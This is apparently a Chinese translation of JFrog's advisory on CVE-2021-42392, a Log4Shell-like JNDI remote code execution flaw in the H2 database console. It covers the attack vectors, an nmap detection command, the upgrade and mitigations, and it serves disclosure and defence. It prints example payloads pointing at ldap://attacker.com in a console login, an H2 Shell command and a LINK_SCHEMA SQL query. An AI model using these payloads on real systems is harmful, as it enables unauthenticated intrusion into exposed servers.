简介

最近，JFrog 安全研究团队披露了 H2 数据库控制台中的一个安全漏洞，其编号为 CVE-2021-42392。这个安全漏洞与 Apache Log4j 中臭名昭著的 Log4Shell 漏洞（JNDI 远程类加载）有着相同的根源。

H2 是一个非常流行的开源 Java SQL 数据库，提供一个轻量级的内存解决方案，使得用户无需将数据存储在磁盘上。这使得它成为各种项目的首选数据存储解决方案：从 Spring Boot 等网络平台到 ThingWorks 等物联网平台。而 com.h2database:h2包则是最流行的 50 个 Maven 包之一，具有近 7000 个工件依赖项。

由于目前任何与（Java）JNDI 有关的东西都很敏感，所以，在介绍 H2 漏洞发现之旅之前，我们有必要先澄清一下成功利用该漏洞的前提条件和配置。

尽管这两个漏洞的根源相似，但由于以下因素，CVE-2021-42392 漏洞并没有像 Log4Shell（CVE-2021-44228）漏洞那样常见：

1、与 Log4Shell 不同，该漏洞的影响范围是“直接”的。这意味着，通常只有处理初始请求的服务器(H2 控制台）才会受到该 RCE 的影响。与 Log4Shell 相比，这个漏洞的影响相对较小，因为易受攻击的服务器应该很容易找到。

2、在 H2 数据库的 vanilla 发行版上，默认情况下，H2 控制台只监听本地主机连接：这使得默认设置是安全的。这与 Log4Shell 不同，Log4Shell 在 Log4j 的默认配置中是可以利用的。然而，值得注意的是，H2 控制台也可以很容易地被修改为监听远程连接。

3、许多供应商可能运行 H2 数据库，但并不会运行 H2 控制台。尽管除了控制台之外还有其他可利用这个漏洞的途径，但它们都严重依赖于上下文，所以不太可能暴露给远程攻击者。

也就是说，如果您运行的 H2 控制台暴露给了局域网（或者更糟糕的是，广域网），这个安全问题就很严重了（无需身份验证的远程代码执行漏洞），所以，您应该立即将 H2 数据库更新到 2.0.206 版本。

我们还发现，许多开发者工具都依赖 H2 数据库，并特意暴露了 H2 控制台（后面会举一些例子）。根据最近针对开发者的供应链攻击的趋势来看，如流行的存储库中的恶意包，应该提高对开发者工具对所有合理使用情况的安全性的重视。我们认为，依赖 H2 的开发者工具应尽快采用修复后的数据库版本，以提高其安全性。

【点击查看学习资料】或私信回复“资料”获取

我们为什么要扫描 JNDI 的漏洞？

我们从 Log4Shell 漏洞事件中得到的一个重要启示是，由于 JNDI 的广泛使用，必然会有更多的软件包受到与 Log4Shell 相同的根源的影响：接受任意的 JNDI 查找 URLs。因此，我们调整了自动漏洞检测框架，将”javax.naming.Context.lookup“函数视为危险函数（sink），并将该框架释放到 Maven 仓库中，希望能找到与 Log4Shell 类似的安全漏洞。

我们得到的第一个有效命中点是关于 H2 数据库包的。在确认了这个问题后，我们把它报告给了 H2 的维护者，他们及时在新的版本中修复了这个问题，并在 GitHub 上发布了一个关键漏洞的公告。随后，我们也公布了一个高危漏洞，编号为 CVE-2021-42392。

在这篇文章中，我们将介绍我们在 H2 数据库中发现的几个允许触发远程 JNDI 查询的攻击途径，其中一个途径可以实现无需身份验证的远程代码执行。

漏洞根源：JNDI 远程类加载

简单来说，该漏洞的根本原因与 Log4Shell 类似：H2 数据库框架中的几个代码路径将未经过滤的、攻击者控制的 URL 直接传递给了 javax.naming.Context.lookup 函数，这将允许远程加载代码库（又称 Java 代码注入，又称远程代码执行）。

具体来说，org.h2.util.JdbcUtils.getConnection 方法需要一个驱动程序类名称和数据库 URL 作为参数。如果驱动程序的类可分配给 javax.naming.Context 类，则该方法会从中实例化一个对象并调用其查找方法：

else if (javax.naming.Context.class.isAssignableFrom(d)) {    // JNDI context    Context context = (Context) d.getDeclaredConstructor().newInstance();    DataSource ds = (DataSource) context.lookup(url);    if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {        return ds.getConnection();    }    return ds.getConnection(user, password);}

所以，如果提供一个驱动类（如 javax.naming.InitialContext）和一个 URL（如 ldap://attacker.com/Exploit），就会导致远程代码执行。

CVE-2021-42392 攻击向量

H2 控制台——上下文无关的、无需身份验证的 RCE

这个安全问题最严重的攻击向量是通过 H2 控制台发动攻击。

H2 数据库包含一个内嵌的、基于 Web 的控制台，帮助管理员轻松管理数据库。当运行 H2 包 JAR 时，它在 http://localhost:8082 上是默认可用的：

java -jar bin/h2.jar

此外，在 Windows 系统上，也可以通过“开始”菜单启用它：

此外，当 H2 作为一个嵌入式库使用时，该控制台可以从 Java 中启动：

h2Server = Server.createWebServer("-web", "-webAllowOthers", "-webPort", "8082");h2Server.start();

对控制台的访问是通过一个登录表格来提供保护的，它允许将“driver”和“url”字段传递给 JdbcUtils.getConnection 的相应字段。正是这一点导致了无需身份验证的 RCE，因为在用潜在的恶意 URL 进行查找之前，根本无需验证用户名和密码。

在默认情况下，H2 控制台只能从本地主机访问。这一选项可以通过控制台的用户界面加以修改：

或者通过一个命令行参数：-webAllowOthers 进行修改。

不幸的是，我们发现，一些依赖 H2 数据库的第三方工具会默认运行暴露给远程客户端的 H2 控制台。例如，JHipster 框架也暴露了 H2 控制台，并默认将 webAllowOthers 属性设置为 true。

# H2 Server Properties0=JHipster H2 (Memory)|org.h2.Driver|jdbc\:h2\:mem\:jhbomtest|jhbomtestwebAllowOthers=truewebPort=8092webSSL=false

从文档中可以看出，当使用 JHipster 框架运行应用程序时，默认情况下，允许在/h2-console 端点上的 JHipster web 界面上使用 H2 控制台：

由于 H2 数据库被如此多的工件使用，所以很难量化 H2 控制台中存在多少易受攻击的部署。我们之所以认为这是最严重的攻击向量，也是因为使用公共搜索工具就可以定位面向 WAN 的易受攻击的控制台。

H2 Shell 工具：依赖上下文的 RCE

在内置的H2 shell中，能够控制命令行参数的攻击者，可以调用前面提到的易受攻击的驱动程序和 url 来搞事情：

java -cp h2*.jar org.h2.tools.Shell -driver javax.naming.InitialContext -url ldap://attacker.com:1387/Exploit

我们认为这种攻击向量是难以奏效的，因为这要求存在自定义代码，还需要将远程输入通过管道传输这些命令行参数。但是，如果存在这样的自定义代码，攻击者就可以控制命令行的某些部分，那么这种攻击就比较有希望了，并能发动参数注入攻击。关于这种攻击的更多细节，请参阅我们的 Yamale文章。

基于 SQL 的向量：需要身份验证的（高权限的）RCE

此外，易受攻击的 JdbcUtils.getConnection 也可以被几个 SQL 存储过程调用，而这些存储过程在 H2 数据库中是默认可用的。我们已经确定了几个存储过程，但它们都有相同的属性，这使得这种攻击向量威力有限——因为只有经过身份验证的管理员才能调用它们。

例如，LINK_SCHEMA存储过程直接将驱动程序和 URL 参数传递到易受攻击的函数中，具体如下面的查询所示：

SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming.InitialContext', 'ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');

由于该存储过程只限于 DB 管理员使用，所以，我们认为最可能的攻击手段是将单独的 SQL 注入漏洞升级为 RCE 漏洞。

如何检测自己是否受到 CVE-2021-42392 漏洞的影响？

网络管理员可以用 nmap 扫描他们的本地子网，查看 H2 控制台的开放实例，例如：

nmap -sV --script http-title --script-args "http-title.url=/" -p80,443,8000-9000 192.168.0.0/8 | grep "H2 Console"

(在 vanilla 安装中，默认的控制台端点是"/"；对于通过第三方工具部署的 H2 控制台来说，情况可能有所不同)

任何返回的服务器都很可能被利用。

如上所述，尽管还存在其他攻击向量，不过通过它们进行远程利用的可能性要小得多。但是无论如何，我们都建议用户升级 H2 数据库（详见后文）。

我们是如何检测到 CVE-2021-42392 的？

这个安全问题可以通过数据流分析（DFA）检测到，尤其是把 Java 内置的 HttpServlet.doGet/doPost 方法定义为用户输入源（特别是第 1 个 req 参数），而把上述的 javax.naming.Context.lookup 方法（执行 JNDI 查找）定义为危险函数/汇时。

这种情况下的数据流是相当直接的，尽管需要对一些类的字段进行追踪。红色标记的变量代表追踪的数据：

针对 CVE-2021-42392 的修复建议

我们建议所有 H2 数据库的用户尽快升级到2.0.206版本，即使您没有直接使用 H2 控制台。这是因为还存在其他攻击途径，其可利用性目前还难以确定。

2.0.206 版通过限制 JNDI URL 只使用（本地）java 协议来修复 CVE-2021-42392 漏洞，并拒绝任何远程 LDAP/RMI 查询。这与Log4j 2.17.0中应用的修复方法类似。

如何缓解 CVE-2021-42392 漏洞的影响？

对该漏洞的最佳修复方法是升级 H2 数据库。

对于目前无法升级 H2 的供应商，我们提供以下缓解方案：

1、与 Log4Shell 漏洞类似，较新版本的 Java 包含 trustURLCodebase 缓解措施，不允许通过 JNDI 直接加载远程代码库。供应商可升级其 Java（JRE/JDK）版本，以启用这一缓解措施。

该缓解措施在以下版本的 Java（或任何更高的版本）中都是默认启用的：

6u211
7u201
8u191
11.0.1

然而，这种缓解措施并不是无懈可击的，因为攻击者可以通过 LDAP 发送一个序列化的“gadget”Java 对象就可以绕过该缓解措施，只要相应的“gadget”类被包含在 classpath 中（取决于运行 H2 数据库的服务器）即可。

2、当 H2 控制台 Servlet 被部署在 Web 服务器上时（不使用独立的 H2 Web 服务器），可以添加一个安全约束，只允许特定的用户访问控制台页面。一个合适的配置例子可以在这里找到。

总结

最后，我们强烈建议将您的 H2 数据库升级到最新版本，以避免受到与 CVE-2021-42392 漏洞有关的攻击。我们的安全研究团队正在持续扫描类似的 JNDI 漏洞，这既是为了负责任的披露目的，也是为了提高我们未来零日漏洞的检测能力。据我们所知，CVE-2021-42392 是 Log4Shell 之后公布的第一个 JNDI 相关的无需身份验证的 RCE 漏洞，但我们怀疑它绝不会是最后一个。